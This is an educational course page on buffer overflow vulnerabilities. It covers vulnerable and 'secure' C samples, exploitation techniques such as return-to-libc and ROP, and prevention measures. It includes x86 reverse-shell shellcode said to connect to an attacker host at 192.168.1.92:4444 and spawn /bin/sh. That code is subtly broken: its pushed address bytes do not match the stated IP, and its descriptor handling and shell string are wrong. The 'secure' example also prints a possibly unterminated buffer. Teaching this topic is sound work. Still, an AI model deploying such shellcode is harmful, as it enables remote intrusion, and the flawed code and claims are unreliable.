💮Buffer Overflow

Buffer Overflow Vulnerability Course

Welcome to the buffer overflow vulnerability course. In this course, we will learn what buffer overflow is, how it can be exploited, and how to prevent it.

Introduction

Buffer overflow is a type of vulnerability that occurs when a program tries to store more data in a buffer than it can hold. This can cause the extra data to overwrite adjacent memory locations, which can be used to execute malicious code or crash the program.

Buffer overflow vulnerabilities are a common target for attackers, as they can be used to gain control of a system or steal sensitive information. Therefore, it is important to understand how to identify and prevent buffer overflow vulnerabilities.

Example Code

Let's take a look at two examples of code to see how buffer overflow vulnerabilities can occur.

Secure Code

The secure code example uses a buffer with a size of 200 bytes to read user input from standard input. The read() function is used to read up to 200 bytes of user input, and the input size is stored in the input variable. Then, the function prints out the user input and its size.

#include <stdio.h>
#include <unistd.h>

int secure(void);

int main(int argc, char **argv) {
    secure();
    return 0;
}

int secure(void) {
    char buffer[200];
    int input;
    input = read(0, buffer, 200);
    printf("\n[+] User supplied: %d-bytes", input);
    printf("\n[+] Buffer content: %s", buffer);
    return 0;
}

This code is secure because it limits the input to 200 bytes, which is the size of the buffer. Therefore, it cannot be overflowed.

Unsecure Code

On the other hand, the unsecure code example uses a buffer with a size of 200 bytes to read up to 400 bytes of user input. This means that an attacker can input more than 200 bytes and overwrite memory beyond the buffer, which can lead to unexpected behavior, such as crashing the program or executing arbitrary code.

#include <stdio.h>
#include <unistd.h>

int overflow(void);

int main(int argc, char **argv) {
    overflow();
    return 0;
}

int overflow(void) {
    char buffer[200];
    int input;
    input = read(0, buffer, 400);
    printf("\n[+] User supplied: %d-bytes", input);
    printf("\n[+] Buffer content: %s", buffer);
    return 0;
}

This code is unsecure because it allows input of up to 400 bytes, which is more than the size of the buffer. This can lead to a buffer overflow vulnerability.

An attacker can exploit this vulnerability by crafting an input that overwrites the return address, causing the program to jump to the attacker's malicious code instead of returning to the original code. This is known as a buffer overflow attack.

To prevent buffer overflow vulnerabilities, it is important to always limit input size, use safer functions, check input size, randomize memory layout, use stack canaries, and use Address Space Layout Randomization (ASLR).

Exploiting Buffer Overflow

Let's now learn how to exploit buffer overflow vulnerabilities. When a buffer overflow occurs, it can overwrite adjacent memory locations, including the return address of a function. An attacker can use this to redirect the program's flow to execute malicious code.

For example, let's consider the following code:

#include <stdio.h>

void vulnerable(char *input) {
    char buffer[10];
    strcpy(buffer, input);
    printf("%s", buffer);
}

int main(int argc, char **argv) {
    vulnerable(argv[1]);
    return 0;
}

In this code, the vulnerable function takes an input from the user and stores it in a buffer of size 10. Since there is no limit on the input size, this code is vulnerable to buffer overflow.

Now, let's assume that an attacker inputs more than 10 characters as the input. This will cause the buffer to overflow, overwriting adjacent memory locations. The attacker can then overwrite the return address of the vulnerable function with the address of the malicious code they want to execute. When the vulnerable function returns, it will jump to the malicious code instead of the main function.

Exploiting with Shellcode

A buffer overflow vulnerability can be exploited by an attacker to execute arbitrary code by injecting shellcode into the memory space of the vulnerable program. Shellcode is a small piece of code that can be used to spawn a shell, connect back to the attacker's machine, or perform other malicious actions.

To inject shellcode into the program's memory space, the attacker needs to overwrite the return address of the vulnerable function with the address of the shellcode. Once the vulnerable function returns, the program will execute the attacker's shellcode instead of the original code.

Here is an example of a simple shellcode that spawns a shell:

section .text
global _start

_start:
    ; create socket
    xor eax, eax
    mov al, 0x66
    xor ebx, ebx
    mov bl, 0x1
    xor ecx, ecx
    push ecx
    push byte 0x1
    push byte 0x2
    mov ecx, esp
    int 0x80
    ; store socket file descriptor in ebx
    mov ebx, eax
    ; connect to remote host
    xor eax, eax
    mov al, 0x66
    xor ecx, ecx
    push ecx
    push word 0x5c11
    push word 0x50c4
    mov ecx, esp
    push byte 0x10
    push ecx
    push byte 0x2
    mov ecx, esp
    xor edx, edx
    mov dl, 0x10
    int 0x80
    ; duplicate socket file descriptor
    xor eax, eax
    mov al, 0x3f
    mov ebx, eax
    mov ecx, eax
    int 0x80
    ; execute /bin/sh
    xor eax, eax
    mov al, 0xb
    xor ecx, ecx
    xor edx, edx
    push edx
    push word 0x6873
    push dword 0x6e69622f
    push dword 0x2f2f2f2f
    mov ebx, esp
    int 0x80

The above shellcode performs the following steps:

1. Create a socket to connect to the attacker's machine.

2. Connect to the attacker's machine using the IP address 192.168.1.92 and port 4444.

3. Duplicate the socket file descriptor.

4. Execute /bin/sh.

The shellcode can be injected into the memory space of the vulnerable program by overwriting the return address of the vulnerable function with the address of the shellcode.

It is important to note that shellcode injection is just one way to exploit buffer overflow vulnerabilities. There are many other techniques that attackers can use to exploit these vulnerabilities, such as Return-Oriented Programming (ROP), which involves chaining together small pieces of existing code in the program's memory space to achieve the desired outcome.

Return-to-libc

In some cases, the attacker may not be able to inject shellcode into the program's memory space because the executable's stack is marked as non-executable. In this case, the attacker can instead redirect the program's execution flow to existing code in the program's memory space, such as the system() function in the C standard library. The attacker can then pass arguments to the function using the program's stack, allowing them to execute arbitrary commands on the victim's machine.

To use this technique, the attacker first needs to identify a function in the program's memory space that they can use to achieve their goal. For example, the system() function can be used to execute shell commands on the victim's machine. The attacker then needs to determine the address of the function in memory. This can be done by examining the program's symbol table or by using a debugger to determine the address at runtime.

Once the attacker has the address of the function, they can overwrite the return address on the program's stack with the address of the function. They can then provide arguments to the function by adding them to the stack before the return address. When the function returns, the program's execution flow will be redirected to the attacker's chosen function, which will be executed with the supplied arguments.

Heap-based buffer overflow

In a heap-based buffer overflow, the attacker overwrites data on the heap (where dynamically allocated memory is stored) instead of the stack. Heap-based buffer overflows are often more difficult to exploit because the heap is less predictable than the stack.

To exploit a heap-based buffer overflow, the attacker needs to first identify a vulnerable function that uses dynamic memory allocation, such as malloc(). The attacker can then supply a string or data that is larger than the buffer allocated by malloc(), causing a buffer overflow on the heap.

Because the heap is less predictable than the stack, exploiting a heap-based buffer overflow often requires more knowledge of the program's memory layout and heap management algorithms. Additionally, heap-based buffer overflows can be more difficult to reliably exploit because the contents of the heap can change over time.

Format string vulnerability

A format string vulnerability occurs when a program uses a user-supplied string as the format string argument for a function such as printf(). If the user-supplied string contains format specifiers, the function may read or write memory outside of the intended buffer, leading to a buffer overflow. Format string vulnerabilities can be used to read sensitive data from the program's memory space or to overwrite the program's execution flow.

To exploit a format string vulnerability, the attacker needs to supply a string that contains format specifiers such as %x, %p, or %n. These specifiers can be used to read or write data at arbitrary memory locations. By carefully crafting a format string, the attacker can read sensitive data from the program's memory or overwrite the program's execution flow.

Exploiting a format string vulnerability often requires a deep understanding of the program's memory layout and the behavior of the printf() function. Additionally, format string vulnerabilities can be difficult to exploit in a reliable manner because the contents of the program's memory can change over time.

Integer overflow

In an integer overflow vulnerability, an attacker can provide an input that causes an integer value to overflow its intended range. This can lead to unexpected behavior such as memory corruption or the execution of unintended code paths.

To exploit an integer overflow vulnerability, the attacker needs to identify a vulnerable function that performs integer arithmetic without properly checking for overflow. The attacker can then provide an input that causes the integer value to overflow, resulting in unexpected behavior.

Exploiting an integer overflow vulnerability often requires a deep understanding of the program's code and the behavior of integer arithmetic. Additionally, integer overflow vulnerabilities can be difficult to exploit in a reliable manner because the behavior of integer overflow is often unpredictable.

Stack-based buffer overflow with non-executable stack

In some cases, the executable's stack may be marked as non-executable, making it impossible to inject shellcode into the program's memory space. In this case, the attacker can still exploit a stack-based buffer overflow by overwriting the return address on the stack with the address of an existing function in the program's memory space, similar to the return-to-libc technique. However, instead of passing arguments on the stack, the attacker can use a technique called "return-oriented programming" (ROP) to chain together existing code snippets in the program's memory space to achieve their goal.

To use ROP, the attacker identifies existing code snippets in the program's memory space that perform the desired operations. These code snippets are often called "gadgets." The attacker then constructs a sequence of gadgets that perform the desired operations, and overwrites the return address on the stack with the address of the first gadget in the sequence. When the function returns, the program's execution flow will be redirected to the first gadget in the sequence. The gadget will then perform its operation and then jump to the next gadget in the sequence, and so on, until the entire sequence has been executed.

Exploiting a stack-based buffer overflow with a non-executable stack using ROP can be difficult because it requires a deep understanding of the program's memory layout and the behavior of the existing code snippets in the program's memory space. Additionally, constructing a ROP chain can be time-consuming and error-prone.

Preventing Buffer Overflow

There are several ways to prevent buffer overflow vulnerabilities:

1. Limit input size: The simplest way to prevent buffer overflow is to limit the size of the input to the size of the buffer.

2. Use safer functions: Instead of using functions like strcpy and gets, which do not check the size of the buffer, use safer functions like strncpy and fgets, which do check the size of the buffer.

3. Check input size: Check the size of the input before storing it in the buffer. If the input size is larger than the buffer size, either reject the input or resize the buffer to fit the input.

4. Randomize memory layout: Randomize the layout of memory locations to make it harder for attackers to guess the location of the return address.

5. Stack canaries: Add a canary value between the buffer and the return address to detect buffer overflows. If the canary value is modified, the program can terminate before the attacker can execute any malicious code.

6. Address Space Layout Randomization (ASLR): ASLR randomizes the memory address space of a program, making it more difficult for attackers to predict the location of vulnerable code.

Conclusion

In this course, we learned about buffer overflow vulnerabilities, how they can be exploited, and how to prevent them. It is important to always limit input size, use safer functions, check input size, randomize memory layout, use stack canaries, and use Address Space Layout Randomization (ASLR) to prevent buffer overflow vulnerabilities.

Remember that preventing buffer overflow vulnerabilities is essential in maintaining the security of software systems.